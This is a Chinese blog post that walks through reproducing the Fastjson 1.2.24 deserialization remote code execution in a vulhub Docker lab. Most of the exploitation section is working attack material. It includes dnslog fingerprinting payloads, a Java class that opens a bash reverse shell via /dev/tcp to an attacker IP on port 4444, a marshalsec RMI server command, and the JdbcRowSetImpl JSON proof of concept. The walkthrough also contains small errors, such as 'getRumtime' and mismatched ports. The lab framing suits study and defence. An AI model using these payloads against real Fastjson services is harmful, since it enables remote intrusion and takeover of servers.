【vulhub】fastjson1.2.24-rce

前言:参考了很多文章,感觉都很乱,所以整理一遍发这次的博客;而且这个实验没基础是真看不太懂,所幸在b站刷到这个视频,深入浅出讲解了fastjson1.2.24-rce/1.2.47-rce背后的原理,强烈安利!

0x01 漏洞简介

1.Fastjson介绍

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

2.Fastjson 1.2.24反序列化导致任意命令执行

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

影响范围:fastjson<=1.2.24

3.复现思路

发送POC让靶机来请求VPS上的RMI方法,执行放置在python临时服务器上的EXP(/bin/bash","-c","bash -i >& /dev/tcp/192.168.18.137/4444 0>&1)同时VPS利用nc监听着4444端口,等待shell反弹

 

 

0x02 环境准备

环境准备:

1.漏洞环境

这里使用kali下漏洞靶场vulub搭建

1
2
cd /vulhub/fastjson/1.2.24-rce
docker-compose up -d<br>docker ps

 

 docker开启的8090端口,访问靶机IP

 

 2.攻击环境

1)JDK版本切换

漏洞利用需要jdk8,而kali自带的jdk是jdk11这里用不了,所以先卸载kali的jdk1123

1
2
3
dpkg --list | grep -i jdk  #查看安装的jdk包
apt-get purge openjdk-*    #卸载openjdk相关包
dpkg --list | grep -i jdk  #检查所有jdk包都卸载完毕

下载jdk1.8

https://github.com/frekele/oracle-java/releases

 

 将压缩包放入kali后解压、配置环境变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
mv jdk-8u212-linux-x64.tar.gz /opt/java  #放置在/opt/java下
tar -zxvf jdk-8u212-linux-x64.tar.gz     #解压缩
#环境变量配置
leafpad /etc/profile
export JAVA_HOME=/opt/java/jdk1.8.0_212
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${PATH}
 
#通知java的位置
#update-alternatives命令用于处理linux系统中软件版本的切换
sudo update-alternatives --install "/usr/bin/java" "java" "/opt/java/jdk1.8.0_212/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/opt/java/jdk1.8.0_212/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/opt/java/jdk1.8.0_212/bin/javaws" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/opt/java/jdk1.8.0_212/bin/javaws" 1
 
#设置默认JDK
sudo update-alternatives --set java /opt/java/jdk1.8.0_212/bin/java
sudo update-alternatives --set javac /opt/java/jdk1.8.0_212/bin/javac
sudo update-alternatives --set javaws /opt/java/jdk1.8.0_212/bin/javaws
 
#使环境变量生效
source /etc/profile
 
#检查是否安装成功
java -version

 

 2)maven在kali上的安装

(编译安装没成功,后面直接apt安装,笑死我了)

1
2
apt-get install maven#安装MVN
mvn –version#查看是否安装成功

3)marshalsec安装

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests  #编译

 

0x03 漏洞扫描

fastjson指纹特征有两种如下

1 根据返回包判断

任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽!

 

 2 利用dnslog盲打

构造以下payload,利用dnslog平台接收。我这边dnslog.cn不知道为啥打开不了,就用了ceye.io效果一样

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

1.2.67版本后payload

{"@type":"java.net.Inet4Address","val":"dnslog"}

{"@type":"java.net.Inet6Address","val":"dnslog"}

畸形:{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}

 

 

0x04 漏洞利用

1)生成exp

创建TouchFile.java在桌面上就好

复制代码
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile{
    static{
        try{
            Runtime rt = Runtime.getRumtime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/你nc接收反弹shell的IP/4444 0>&1 "};
            Process pc = rt.exec(commands);
            pc.waitFor();
        }catch(Exception e){
          //do nothing
        }    
    }
}
复制代码
#编译TouchFile.java生成TouchFile.class
javac TouchFile.java

 

2)VPS开启python的web服务

#利用python搭建web服务
python -m SimpleHttpServer 1111
python3 -m http.server

 

3)VPS开启RMI服务

#进入mashalsec目录
cd /
#利用mashalsec开启RMI服务监听9999端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://你的vpsIP即kaliIP/#TouchFile" 6666

 

 4)POC发送

BP抓包改GET为POST,插入Content-Type: application/json后发送POC

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl"
        "dataSourceName":"rmi://你的rmi服务IP即kaliIP:6666/TouchFile",
        "autoCommit":true
    }
}

 

 5)反弹nc

打开nc接收反弹shell,再次发送POC

 

posted @   胡阿斐  阅读(549)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示